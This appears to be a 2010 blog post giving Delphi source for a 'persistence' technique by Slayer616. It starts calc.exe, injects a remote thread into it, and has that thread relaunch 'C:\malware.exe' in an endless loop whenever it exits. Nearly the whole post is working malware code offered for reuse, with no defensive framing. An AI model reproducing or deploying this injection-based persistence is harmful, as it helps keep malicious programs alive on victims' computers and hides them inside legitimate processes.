Simple Persistence Example

Post date: May 30, 2010 11:52:14 PM

Persistence ensures that when the application is closed, it will execute itself again through an injected thread into a host application.

{

Simple Persistance Example 2 by Slayer616

Thanks to : Aphex for his great injection unit - afxcodehook!

Zacherl for the idea to improve the injected function with WaitForSingleObject

}

program RemExec;
uses
  Windows,
  afxCodeHook,shellapi;
type
  TRemoteInfo = record
    WaitForSingleObject:function (hHandle: THandle; dwMilliseconds: DWORD): DWORD; stdcall;
    LoadLibrary: function(lpLibFileName: PChar): HMODULE; stdcall;
    GetProcAddress: function(hModule: HMODULE; lpProcName: LPCSTR): FARPROC; stdcall;
    ShellExecuteEx:function (lpExecInfo: PShellExecuteInfo):BOOL; stdcall;
    shell32:pchar;
    sFile:pchar;
    Shellexecs:pchar;
    sCar:cardinal;
  end;
procedure RemoteThread(RemoteInfo: pointer); stdcall;
var
  ShExecInfo : SHELLEXECUTEINFO;
begin
  with TRemoteInfo(RemoteInfo^) do
  begin
     @ShellexecuteEx := GetProcAddress(LoadLibrary(shell32), shellexecs);
    while true do begin
      ShExecInfo.cbSize := sizeof(SHELLEXECUTEINFO);
      ShExecInfo.fMask := SEE_MASK_NOCLOSEPROCESS;
      ShExecInfo.lpVerb := nil;
      ShExecInfo.lpFile := sFile;
      ShExecInfo.lpDirectory := nil;
      shexecinfo.lpParameters := nil;
      ShExecInfo.nShow := 1;
      ShellExecuteEx(@ShExecInfo);
      sCar := ShExecInfo.hProcess;
      WaitForSingleObject(sCar, INFINITE);
    end;
  end;
end;
procedure RemoteExecute;
const
  Files:pchar = 'C:\malware.exe';
  shell32:pchar = 'shell32';
  ShellExecs:pchar = 'ShellExecuteEx';
var
  RemoteInfo: TRemoteInfo;
  Process: dword;
  StartInfo: TStartupInfo;
  ProcInfo: TProcessInformation;
begin
  ZeroMemory(@StartInfo, SizeOf(TStartupInfo));
  StartInfo.cb := SizeOf(TStartupInfo);
  CreateProcess(nil, 'calc.exe', nil, nil, False, 0, nil, nil, StartInfo, ProcInfo);
  Process := ProcInfo.hProcess;
  Remoteinfo.Shell32 := injectstring(process,shell32);
  Remoteinfo.ShellExecs := injectstring(process,ShellExecs);
  RemoteInfo.sFile := InjectString(Process, Files);
  @RemoteInfo.LoadLibrary := GetProcAddress(GetModuleHandle('kernel32'), 'LoadLibraryA');
  @RemoteInfo.GetProcAddress := GetProcAddress(GetModuleHandle('kernel32'), 'GetProcAddress');
  @RemoteInfo.WaitForSingleObject  := GetProcAddress(GetModuleHandle('kernel32'), 'WaitForSingleObject');
  InjectThread(Process, @RemoteThread, @RemoteInfo, SizeOf(TRemoteInfo), True);
end;
begin
  RemoteExecute;
end.